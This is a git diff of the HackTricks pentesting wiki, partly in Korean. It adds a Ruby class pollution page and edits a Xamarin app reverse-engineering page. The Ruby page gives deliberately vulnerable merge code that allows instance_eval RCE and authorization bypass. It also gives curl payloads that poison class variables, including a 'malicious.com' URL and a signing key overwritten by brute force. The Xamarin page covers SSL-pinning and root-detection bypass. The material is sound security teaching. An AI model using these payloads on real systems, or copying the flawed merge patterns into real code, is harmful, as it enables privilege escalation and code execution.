Translated ['mobile-pentesting/xamarin-apps.md', 'pentesting-web/deseria
BIN
.gitbook/assets/image (1255).png
Normal file
After Width: | Height: | Size: 153 KiB |
BIN
.gitbook/assets/image (1256).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1257).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1258).png
Normal file
After Width: | Height: | Size: 218 KiB |
BIN
.gitbook/assets/image (1259).png
Normal file
After Width: | Height: | Size: 167 KiB |
BIN
.gitbook/assets/image (1260).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1261).png
Normal file
After Width: | Height: | Size: 162 KiB |
BIN
.gitbook/assets/image (1262).png
Normal file
After Width: | Height: | Size: 164 KiB |
BIN
.gitbook/assets/image (1263).png
Normal file
After Width: | Height: | Size: 168 KiB |
|
@ -570,6 +570,7 @@
|
|||
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
|
||||
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
||||
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
* [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
|
||||
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||
* [Email Injections](pentesting-web/email-injections.md)
|
||||
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Xamarin Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,20 +15,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
Xamarin은 개발자가 .NET 및 C# 프레임워크를 사용하여 **iOS, Android 및 Windows용 앱을 구축**할 수 있도록 설계된 **오픈 소스 플랫폼**입니다. 이 플랫폼은 현대적인 애플리케이션을 효율적으로 만들기 위한 수많은 도구와 확장 기능에 대한 접근을 제공합니다.
|
||||
Xamarin은 개발자가 .NET 및 C# 프레임워크를 사용하여 **iOS, Android 및 Windows용 앱을 구축**할 수 있도록 설계된 **오픈 소스 플랫폼**입니다. 이 플랫폼은 현대적인 애플리케이션을 효율적으로 생성하기 위한 수많은 도구와 확장 기능에 대한 액세스를 제공합니다.
|
||||
|
||||
### Xamarin의 아키텍처
|
||||
|
||||
- **Android**의 경우, Xamarin은 .NET 바인딩을 통해 Android 및 Java 네임스페이스와 통합되어 Mono 실행 환경 내에서 Android Runtime (ART)와 함께 작동합니다. Managed Callable Wrappers (MCW)와 Android Callable Wrappers (ACW)는 Mono와 ART 간의 통신을 용이하게 하며, 두 가지 모두 Linux 커널을 기반으로 구축되었습니다.
|
||||
- **iOS**의 경우, 애플리케이션은 Mono 런타임에서 실행되며, C# .NET 코드를 ARM 어셈블리 언어로 변환하기 위해 전체 Ahead of Time (AOT) 컴파일을 활용합니다. 이 과정은 UNIX와 유사한 커널에서 Objective-C Runtime과 함께 실행됩니다.
|
||||
* **Android**의 경우, Xamarin은 .NET 바인딩을 통해 Android 및 Java 네임스페이스와 통합되어 Mono 실행 환경 내에서 Android Runtime (ART)와 함께 작동합니다. 관리 가능한 호출 래퍼(MCW)와 Android 호출 래퍼(ACW)는 Mono와 ART 간의 통신을 용이하게 하며, 두 가지 모두 Linux 커널을 기반으로 구축되었습니다.
|
||||
* **iOS**의 경우, 애플리케이션은 Mono 런타임에서 실행되며, C# .NET 코드를 ARM 어셈블리 언어로 변환하기 위해 전체 사전 컴파일(AOT) 컴파일을 활용합니다. 이 과정은 UNIX와 유사한 커널에서 Objective-C 런타임과 함께 실행됩니다.
|
||||
|
||||
### .NET 런타임 및 Mono 프레임워크
|
||||
|
||||
**.NET 프레임워크**는 애플리케이션 개발을 위한 어셈블리, 클래스 및 네임스페이스를 포함하며, .NET 런타임은 코드 실행을 관리합니다. 플랫폼 독립성과 이전 버전과의 호환성을 제공합니다. **Mono 프레임워크**는 2005년에 시작된 .NET 프레임워크의 오픈 소스 버전으로, Linux에 .NET을 확장하기 위해 시작되었으며, 현재 Microsoft의 지원을 받고 Xamarin이 주도하고 있습니다.
|
||||
**.NET 프레임워크**는 애플리케이션 개발을 위한 어셈블리, 클래스 및 네임스페이스를 포함하며, .NET 런타임은 코드 실행을 관리합니다. 플랫폼 독립성과 이전 버전과의 호환성을 제공합니다. **Mono 프레임워크**는 2005년에 시작된 .NET 프레임워크의 오픈 소스 버전으로, Linux에 .NET을 확장하기 위해 시작되었으며, 현재 Microsoft의 지원을 받고 있으며 Xamarin이 주도하고 있습니다.
|
||||
|
||||
### Xamarin 앱의 리버스 엔지니어링
|
||||
|
||||
|
@ -38,24 +36,30 @@ Xamarin은 개발자가 .NET 및 C# 프레임워크를 사용하여 **iOS, Andro
|
|||
|
||||
#### JIT vs AOT 컴파일
|
||||
|
||||
- **Android**는 Just-In-Time (JIT) 및 Ahead-Of-Time (AOT) 컴파일을 지원하며, 최적의 실행 속도를 위한 Hybrid AOT 모드가 있습니다. 전체 AOT는 Enterprise 라이센스에만 독점적입니다.
|
||||
- **iOS**는 Apple의 동적 코드 실행 제한으로 인해 오직 AOT 컴파일만 사용합니다.
|
||||
* **Android**는 Just-In-Time (JIT) 및 Ahead-Of-Time (AOT) 컴파일을 지원하며, 최적의 실행 속도를 위한 하이브리드 AOT 모드가 있습니다. 전체 AOT는 기업 라이센스에만 독점적입니다.
|
||||
* **iOS**는 Apple의 동적 코드 실행 제한으로 인해 오직 AOT 컴파일만 사용합니다.
|
||||
|
||||
### APK/IPA에서 dll 파일 추출
|
||||
### APK/IPA에서 dll 파일 추출하기
|
||||
|
||||
APK/IPA의 어셈블리에 접근하려면 파일을 압축 해제하고 어셈블리 디렉토리를 탐색합니다. Android의 경우, [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) 및 [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)와 같은 도구를 사용하여 dll 파일을 압축 해제할 수 있습니다.
|
||||
```bash
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
Android의 assembly blobs에 대해, [pyxamstore](https://github.com/jakev/pyxamstore)는 이를 압축 해제할 수 있습니다.
|
||||
APK를 디컴파일한 후에 unknown/assemblies/ 폴더와 그 안에 있는 `.dll` 파일을 볼 수 있는 경우, [**dnSpy**](https://github.com/dnSpy/dnSpy)를 사용하여 `.dll` 파일을 직접 분석할 수 있습니다.\
|
||||
그러나 때때로 unknown/assemblies/ 폴더 안에 `assemblies.blob` 및 `assemblies.manifest` 파일이 발견됩니다. 도구 [pyxamstore](https://github.com/jakev/pyxamstore)는 Xamarin 앱에서 `assemblies.blob` 파일을 언팩하는 데 사용될 수 있으며, 이를 통해 추가 분석을 위한 .NET 어셈블리에 접근할 수 있습니다:
|
||||
```bash
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
iOS dll 파일은 디컴파일을 위해 쉽게 접근할 수 있으며, 이는 애플리케이션 코드의 상당 부분을 드러내며, 종종 다양한 플랫폼 간에 공통 기반을 공유합니다.
|
||||
|
||||
### 정적 분석
|
||||
|
||||
`.dll` 파일을 얻은 후에는 [**dnSpy**](https://github.com/dnSpy/dnSpy) **또는** [**ILSpy**](https://github.com/icsharpcode/ILSpy)와 같은 도구를 사용하여 .Net 코드를 정적으로 분석할 수 있습니다. 이는 애플리케이션의 코드를 수정할 수 있게 해줍니다. 예를 들어, 보호를 우회하기 위해 애플리케이션을 변조하는 데 매우 유용할 수 있습니다.\
|
||||
앱을 수정한 후에는 다시 패킹하고 다시 서명해야 한다는 점에 유의하세요.
|
||||
|
||||
### 동적 분석
|
||||
|
||||
동적 분석은 SSL 핀닝을 확인하고 [Fridax](https://github.com/NorthwaveSecurity/fridax)와 같은 도구를 사용하여 Xamarin 앱의 .NET 바이너리에 대한 런타임 수정을 수행하는 것을 포함합니다. Frida 스크립트는 루트 탐지 또는 SSL 핀닝을 우회하는 데 사용 가능하여 분석 능력을 향상시킵니다.
|
||||
동적 분석은 SSL 핀닝을 확인하고 [Fridax](https://github.com/NorthwaveSecurity/fridax)와 같은 도구를 사용하여 Xamarin 앱의 .NET 바이너리를 런타임에서 수정하는 것을 포함합니다. Frida 스크립트는 루트 탐지 또는 SSL 핀닝을 우회하여 분석 능력을 향상시킬 수 있습니다.
|
||||
|
||||
기타 흥미로운 Frida 스크립트:
|
||||
|
||||
|
@ -63,14 +67,19 @@ iOS dll 파일은 디컴파일을 위해 쉽게 접근할 수 있으며, 이는
|
|||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
||||
|
||||
### 재서명
|
||||
|
||||
[Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) 도구는 동일한 키로 여러 APK에 서명하는 과정을 간소화하며, 변경이 수행된 후 앱을 재서명하는 데 사용할 수 있습니다.
|
||||
|
||||
## 추가 정보
|
||||
|
||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||
* [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
441
pentesting-web/deserialization/ruby-class-pollution.md
Normal file
|
@ -0,0 +1,441 @@
|
|||
# Ruby Class Pollution
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
이것은 [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) 게시물의 요약입니다.
|
||||
|
||||
## Merge on Attributes
|
||||
|
||||
예시:
|
||||
```ruby
|
||||
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
|
||||
# Comments added to exploit the merge on attributes
|
||||
require 'json'
|
||||
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person
|
||||
|
||||
attr_accessor :name, :age, :details
|
||||
|
||||
def initialize(name:, age:, details:)
|
||||
@name = name
|
||||
@age = age
|
||||
@details = details
|
||||
end
|
||||
|
||||
# Method to merge additional data into the object
|
||||
def merge_with(additional)
|
||||
recursive_merge(self, additional)
|
||||
end
|
||||
|
||||
# Authorize based on the `to_s` method result
|
||||
def authorize
|
||||
if to_s == "Admin"
|
||||
puts "Access granted: #{@name} is an admin."
|
||||
else
|
||||
puts "Access denied: #{@name} is not an admin."
|
||||
end
|
||||
end
|
||||
|
||||
# Health check that executes all protected methods using `instance_eval`
|
||||
def health_check
|
||||
protected_methods().each do |method|
|
||||
instance_eval(method.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# VULNERABLE FUNCTION that can be abused to merge attributes
|
||||
def recursive_merge(original, additional, current_obj = original)
|
||||
additional.each do |key, value|
|
||||
|
||||
if value.is_a?(Hash)
|
||||
if current_obj.respond_to?(key)
|
||||
next_obj = current_obj.public_send(key)
|
||||
recursive_merge(original, value, next_obj)
|
||||
else
|
||||
new_object = Object.new
|
||||
current_obj.instance_variable_set("@#{key}", new_object)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
else
|
||||
current_obj.instance_variable_set("@#{key}", value)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
end
|
||||
original
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def check_cpu
|
||||
puts "CPU check passed."
|
||||
end
|
||||
|
||||
def check_memory
|
||||
puts "Memory check passed."
|
||||
end
|
||||
end
|
||||
|
||||
# Admin class inherits from Person
|
||||
class Admin < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
|
||||
def to_s
|
||||
"Admin"
|
||||
end
|
||||
end
|
||||
|
||||
# Regular user class inherits from Person
|
||||
class User < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
|
||||
def to_s
|
||||
"User"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp
|
||||
def self.run(json_input)
|
||||
additional_object = JSON.parse(json_input)
|
||||
|
||||
# Instantiate a regular user
|
||||
user = User.new(
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
# Perform a recursive merge, which could override methods
|
||||
user.merge_with(additional_object)
|
||||
|
||||
# Authorize the user (privilege escalation vulnerability)
|
||||
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.authorize
|
||||
|
||||
# Execute health check (RCE vulnerability)
|
||||
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.health_check
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
if ARGV.length != 1
|
||||
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
|
||||
exit
|
||||
end
|
||||
|
||||
json_input = ARGV[0]
|
||||
JSONMergerApp.run(json_input)
|
||||
```
|
||||
### 설명
|
||||
|
||||
1. **권한 상승**: `authorize` 메서드는 `to_s`가 "Admin"을 반환하는지 확인합니다. JSON을 통해 새로운 `to_s` 속성을 주입함으로써 공격자는 `to_s` 메서드가 "Admin"을 반환하게 만들어 무단 권한을 부여할 수 있습니다.
|
||||
2. **원격 코드 실행**: `health_check`에서 `instance_eval`은 `protected_methods`에 나열된 메서드를 실행합니다. 공격자가 사용자 정의 메서드 이름(예: `"puts 1"`)을 주입하면, `instance_eval`이 이를 실행하여 **원격 코드 실행(RCE)**로 이어질 수 있습니다.
|
||||
1. 이는 해당 속성의 문자열 값을 실행하는 **취약한 `eval` 명령어**가 있기 때문에 가능합니다.
|
||||
3. **영향 제한**: 이 취약점은 개별 인스턴스에만 영향을 미치며, 다른 `User` 및 `Admin` 인스턴스에는 영향을 주지 않아, 악용 범위를 제한합니다.
|
||||
|
||||
### 실제 사례 <a href="#real-world-cases" id="real-world-cases"></a>
|
||||
|
||||
### ActiveSupport의 `deep_merge`
|
||||
|
||||
기본적으로 취약하지 않지만 다음과 같은 것으로 취약하게 만들 수 있습니다: 
|
||||
```ruby
|
||||
# Method to merge additional data into the object using ActiveSupport deep_merge
|
||||
def merge_with(other_object)
|
||||
merged_hash = to_h.deep_merge(other_object)
|
||||
|
||||
merged_hash.each do |key, value|
|
||||
self.class.attr_accessor key
|
||||
instance_variable_set("@#{key}", value)
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
```
|
||||
### Hashie의 `deep_merge`
|
||||
|
||||
Hashie의 `deep_merge` 메서드는 일반 해시가 아닌 객체 속성에 직접 작동합니다. 이는 **예외**가 있는 병합에서 속성으로 메서드의 교체를 **방지**합니다: `_`, `!`, 또는 `?`로 끝나는 속성은 여전히 객체에 병합될 수 있습니다.
|
||||
|
||||
특별한 경우로는 속성 **`_`**가 있습니다. 단순히 `_`는 일반적으로 `Mash` 객체를 반환하는 속성입니다. 그리고 이것이 **예외**의 일부이기 때문에 수정할 수 있습니다.
|
||||
|
||||
다음 예제를 확인하세요. `{"_": "Admin"}`를 전달함으로써 `_.to_s == "Admin"`을 우회할 수 있습니다:
|
||||
```ruby
|
||||
require 'json'
|
||||
require 'hashie'
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person < Hashie::Mash
|
||||
|
||||
# Method to merge additional data into the object using hashie
|
||||
def merge_with(other_object)
|
||||
deep_merge!(other_object)
|
||||
self
|
||||
end
|
||||
|
||||
# Authorize based on to_s
|
||||
def authorize
|
||||
if _.to_s == "Admin"
|
||||
puts "Access granted: #{@name} is an admin."
|
||||
else
|
||||
puts "Access denied: #{@name} is not an admin."
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Admin class inherits from Person
|
||||
class Admin < Person
|
||||
def to_s
|
||||
"Admin"
|
||||
end
|
||||
end
|
||||
|
||||
# Regular user class inherits from Person
|
||||
class User < Person
|
||||
def to_s
|
||||
"User"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp
|
||||
def self.run(json_input)
|
||||
additional_object = JSON.parse(json_input)
|
||||
|
||||
# Instantiate a regular user
|
||||
user = User.new({
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
# Perform a deep merge, which could override methods
|
||||
user.merge_with(additional_object)
|
||||
|
||||
# Authorize the user (privilege escalation vulnerability)
|
||||
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
|
||||
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.authorize
|
||||
end
|
||||
end
|
||||
|
||||
if ARGV.length != 1
|
||||
puts "Usage: ruby hashie.rb 'JSON_STRING'"
|
||||
exit
|
||||
end
|
||||
|
||||
json_input = ARGV[0]
|
||||
JSONMergerApp.run(json_input)
|
||||
```
|
||||
## 클래스를 오염시키기 <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
||||
|
||||
다음 예제에서는 **`Person`** 클래스를 찾을 수 있으며, **`Person`** 클래스를 상속받는 **`Admin`** 클래스와 **`Regular`** 클래스도 찾을 수 있습니다. 또한 **`KeySigner`**라는 다른 클래스도 있습니다:
|
||||
```ruby
|
||||
require 'json'
|
||||
require 'sinatra/base'
|
||||
require 'net/http'
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person
|
||||
@@url = "http://default-url.com"
|
||||
|
||||
attr_accessor :name, :age, :details
|
||||
|
||||
def initialize(name:, age:, details:)
|
||||
@name = name
|
||||
@age = age
|
||||
@details = details
|
||||
end
|
||||
|
||||
def self.url
|
||||
@@url
|
||||
end
|
||||
|
||||
# Method to merge additional data into the object
|
||||
def merge_with(additional)
|
||||
recursive_merge(self, additional)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Recursive merge to modify instance variables
|
||||
def recursive_merge(original, additional, current_obj = original)
|
||||
additional.each do |key, value|
|
||||
if value.is_a?(Hash)
|
||||
if current_obj.respond_to?(key)
|
||||
next_obj = current_obj.public_send(key)
|
||||
recursive_merge(original, value, next_obj)
|
||||
else
|
||||
new_object = Object.new
|
||||
current_obj.instance_variable_set("@#{key}", new_object)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
else
|
||||
current_obj.instance_variable_set("@#{key}", value)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
end
|
||||
original
|
||||
end
|
||||
end
|
||||
|
||||
class User < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
end
|
||||
|
||||
# A class created to simulate signing with a key, to be infected with the third gadget
|
||||
class KeySigner
|
||||
@@signing_key = "default-signing-key"
|
||||
|
||||
def self.signing_key
|
||||
@@signing_key
|
||||
end
|
||||
|
||||
def sign(signing_key, data)
|
||||
"#{data}-signed-with-#{signing_key}"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp < Sinatra::Base
|
||||
# POST /merge - Infects class variables using JSON input
|
||||
post '/merge' do
|
||||
content_type :json
|
||||
json_input = JSON.parse(request.body.read)
|
||||
|
||||
user = User.new(
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
user.merge_with(json_input)
|
||||
|
||||
{ status: 'merged' }.to_json
|
||||
end
|
||||
|
||||
# GET /launch-curl-command - Activates the first gadget
|
||||
get '/launch-curl-command' do
|
||||
content_type :json
|
||||
|
||||
# This gadget makes an HTTP request to the URL stored in the User class
|
||||
if Person.respond_to?(:url)
|
||||
url = Person.url
|
||||
response = Net::HTTP.get_response(URI(url))
|
||||
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
|
||||
else
|
||||
{ status: 'Failed to access URL variable' }.to_json
|
||||
end
|
||||
end
|
||||
|
||||
# Curl command to infect User class URL:
|
||||
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
|
||||
|
||||
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
|
||||
get '/sign_with_subclass_key' do
|
||||
content_type :json
|
||||
|
||||
# This gadget signs data using the signing key stored in KeySigner class
|
||||
signer = KeySigner.new
|
||||
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
|
||||
|
||||
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
|
||||
end
|
||||
|
||||
# Curl command to infect KeySigner signing key (run in a loop until successful):
|
||||
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
|
||||
|
||||
# GET /check-infected-vars - Check if all variables have been infected
|
||||
get '/check-infected-vars' do
|
||||
content_type :json
|
||||
|
||||
{
|
||||
user_url: Person.url,
|
||||
signing_key: KeySigner.signing_key
|
||||
}.to_json
|
||||
end
|
||||
|
||||
run! if app_file == $0
|
||||
end
|
||||
```
|
||||
### Poison Parent Class
|
||||
|
||||
이 페이로드로:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
부모 클래스 **`Person`**의 **`@@url`** 속성 값을 수정하는 것이 가능합니다.
|
||||
|
||||
### **다른 클래스 오염**
|
||||
|
||||
이 페이로드를 사용하여:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
정의된 클래스를 무차별 대입하여 **`KeySigner`** 클래스를 오염시키고 `signing_key`의 값을 `injected-signing-key`로 수정하는 것이 가능합니다.\
|
||||
|
||||
## References
|
||||
|
||||
* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -1,8 +1,10 @@
|
|||
# 파라미터 오염
|
||||
|
||||
## 파라미터 오염
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,7 +12,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
